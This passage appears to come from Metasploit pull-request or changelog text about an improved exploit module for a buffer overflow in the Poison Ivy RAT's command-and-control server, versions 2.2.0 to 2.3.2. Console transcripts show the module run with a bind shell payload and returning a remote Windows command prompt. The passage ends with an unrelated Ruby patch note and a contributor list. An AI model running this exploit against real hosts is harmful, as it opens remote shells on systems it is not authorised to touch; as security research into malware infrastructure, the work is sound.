module removing the need for bruteforce in the case of an unknown
server password by (ab)using the challenge-response as an encryption
oracle, making it more reliable. The vulnerability has also been confirmed
in versions 2.2.0 up to 2.3.1 and additional targets for these versions
have been added as well.
See http://samvartaka.github.io/malware/2015/09/07/poison-ivy-reliable-exploitation/
for details.
## Console output
Below is an example of the new functionality (PIVY C2 server password is
set to 'prettysecure' and unknown to attacker). Exploitation of versions 2.3.0 and 2.3.1
is similar.
### Version 2.3.2 (unknown password)
```
msf > use windows/misc/poisonivy_bof
msf exploit(poisonivy_bof) > set RHOST 192.168.0.103
RHOST => 192.168.0.103
msf exploit(poisonivy_bof) > check
[*] Vulnerable Poison Ivy C&C version 2.3.1/2.3.2 detected.
[*] 192.168.0.103:3460 - The target appears to be vulnerable.
msf exploit(poisonivy_bof) > set PAYLOAD windows/shell_bind_tcp
PAYLOAD => windows/shell_bind_tcp
msf exploit(poisonivy_bof) > exploit
[*] Started bind handler
[*] Performing handshake...
[*] Sending exploit...
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\winxp\Desktop\Poison Ivy\Poison Ivy 2.3.2>
```
### Version 2.2.0 (unknown password)
```
msf exploit(poisonivy_bof) > check
[*] Vulnerable Poison Ivy C&C version 2.2.0 detected.
[*] 192.168.0.103:3460 - The target appears to be vulnerable.
msf exploit(poisonivy_bof) > show targets
Exploit targets:
Id Name
-- ----
0 Poison Ivy 2.2.0 on Windows XP SP3 / Windows 7 SP1
1 Poison Ivy 2.3.0 on Windows XP SP3 / Windows 7 SP1
2 Poison Ivy 2.3.1, 2.3.2 on Windows XP SP3 / Windows 7 SP1
msf exploit(poisonivy_bof) > set TARGET 0
TARGET => 0
msf exploit(poisonivy_bof) > exploit
[*] Started bind handler
[*] Performing handshake...
[*] Sending exploit...
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\winxp\Desktop\Poison Ivy\Poison Ivy 2.2.0>
```
Since Ruby 2.1, the respond_to? method is more strict because it does
not check protected methods. So when you use send(), clearly you're
ignoring this type of access control. The patch is meant to preserve
this behavior to avoid potential breakage.
Resolve#4507
wchen-r7
William Vu
xistence
jvazquez-r7
samvartaka
Christian Mehlmauer
Tod Beardsley
h00die
C-P
Meatballs
Matthew Hall
Balazs Bucsay